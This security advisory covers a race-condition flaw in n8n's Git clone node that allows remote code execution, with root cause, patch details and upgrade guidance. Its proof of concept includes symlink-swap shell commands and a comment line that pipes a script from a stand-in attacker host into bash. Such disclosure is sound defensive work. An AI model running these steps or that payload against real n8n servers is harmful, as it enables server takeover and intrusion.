highJul 22, 2026

CVE-2026-65598: n8n Git Clone Node TOCTOU Race Condition RCE

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A race condition in n8n's Git clone node lets an authenticated attacker swap a validated directory for a symlink in the brief window before the clone runs, planting a malicious custom node that…

Packagen8n
Ecosystemnpm
Affected< 1.123.64

The problem

The n8n Git node validates the destination path before cloning, then performs the clone as a separate step. In the gap between those two operations, an attacker can replace the validated directory with a symlink pointing to n8n's community node directory.

The clone writes a crafted repository into that directory. Because n8n auto-loads community nodes on startup, any JavaScript in that repo's entry point runs with full server privileges. Both self-hosted and cloud instances are affected on versions before 1.123.64.

Proof of concept

A working proof-of-concept for this issue in n8n, with the exact payload below.

bash
# Step 1: Submit a Git clone workflow targeting a writable, allowed path
# Repository path set in the workflow node: /home/node/.n8n-files/work

# Step 2: Race the check-to-use window (run concurrently with the workflow)
# Remove the legitimate directory and replace it with a symlink
rm -rf /home/node/.n8n-files/work
ln -s /home/node/.n8n/nodes /home/node/.n8n-files/work

# Step 3: The clone now writes to /home/node/.n8n/nodes/
# Crafted repo's package.json declares an n8n node entry point:
# nodes/Evil.node.js executes on n8n restart:
# require('child_process').exec('curl http://attacker.com/shell.sh | bash')

The root cause is CWE-367: the path allow-list check (fs.lstat / path.resolve comparison) and the actual git.clone() call are not atomic. Any symlink created between those two moments is followed by the clone operation, escaping the intended sandbox.

The patch for 1.123.64 re-resolves the real path with fs.realpath immediately before executing the clone and rejects the operation if the resolved path differs from what was validated, closing the race window. The broader CVE-2026-25053 umbrella (GHSA-9g95-qf3f-ggrw) covers seven related Git-node hardening fixes across two months, of which this TOCTOU bypass is one.

The fix

Upgrade n8n to 1.123.64 or later (v2 users: 2.29.8 or 2.30.1). As a temporary measure, disable the Git node entirely via the N8N_NODES_EXCLUDE environment variable and restrict workflow creation to fully trusted users.

Reported by Yadhu Krishna M.

References: [1][2][3][4]

Related research